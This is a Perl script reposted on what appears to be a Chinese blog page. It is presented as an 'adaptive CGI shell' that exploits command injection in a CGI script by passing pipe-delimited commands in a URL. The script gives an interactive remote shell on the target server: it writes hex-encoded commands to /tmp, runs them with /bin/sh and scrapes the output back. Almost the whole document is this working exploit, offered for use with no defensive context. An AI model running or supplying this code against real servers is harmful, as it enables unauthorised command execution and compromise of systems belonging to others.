perl cgi session php,Perl CGI Shell

#!/usr/bin/perl

# adaptive cgi shell by secye

use LWP::Simple;

$part1 = @ARGV[0]; $part2 = @ARGV[1];

print "Making buffer...\n";

for $bet (100..200) {

$bettwo = $bettwo . "AAAA" . $bet . "AAAA\\\\n";

}

print "Exploiting...\n";

$id = get("$part1\|id\|$part2");

$id =~ m/(uid=\d+\(.*\) gid=\d+\(.*\) groups=\d+\(.*\))/;

print "Well shizzle my nizzle... shell by oxagast... use wisely \;\)\n\n";

$uid = $1;

print "$uid\n";

while (0 == 0) {

print "\$ ";

$cmd = ;

chomp($cmd);

if ($cmd =~ m/cd (\/.*)/) {

$dir = $1;

}

if ($cmd eq "cd ..") {

$dir =~ s/(.*)\/.*/\/\1/;

}

if ($cmd eq "pwd") {

$dirjunk = $dir;

if ($dirjunk eq "//") {

$dirjunk = "/";

}

}

$dirjunk = "cd $dir\;$cmd";

$cmdhex = unpack("H*","$dirjunk &>/tmp/cmdlnerr");

$cmdhex =~ s/(..)/\\\\x$1/g;

get("$part1\|echo -e $bettwo > /tmp/buff\|$part2");

$backjunk2 = get("$part1\|cat /tmp/buff\|$part2");

@backjunk = split("\n", $backjunk2);

get("$part1\|echo -e \"$cmdhex\" > /tmp/cmdln\|$part2");

get("$part1\|/bin/sh /tmp/cmdln > /tmp/cmdlerr\|$part2");

$backjunk_as = get("$part1\|cat /tmp/cmdlnerr\|$part2");

@backjunk_split = split("\n", $backjunk_as);

$backjunk_wcl = get("$part1\|wc -l /tmp/cmdlnerr\|$part2");

$backjunk_wcl =~ m/(\d+) \/tmp\/cmdlnerr/m;

$thismanylines = $1 - 1;

for $junknum (0..scalar(@backjunk_split)) {

for $fuzz (10..100+$thismanylines) {

if ($backjunk[$junknum] =~ m/(AAAA\Q$fuzz\EAAAA)/) {

$middle = $1;

@backjunk[$junknum] =~ m/(.*)\Q$middle\E/;

@backjunk_split[$junknum] =~ s/$1//;

@backjunk[$junknum] =~ m/\Q$middle\E(.*)/;

@backjunk_split[$junknum] =~ s/$1//;

print "$backjunk_split[$junknum]\n";

}

}

}

}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值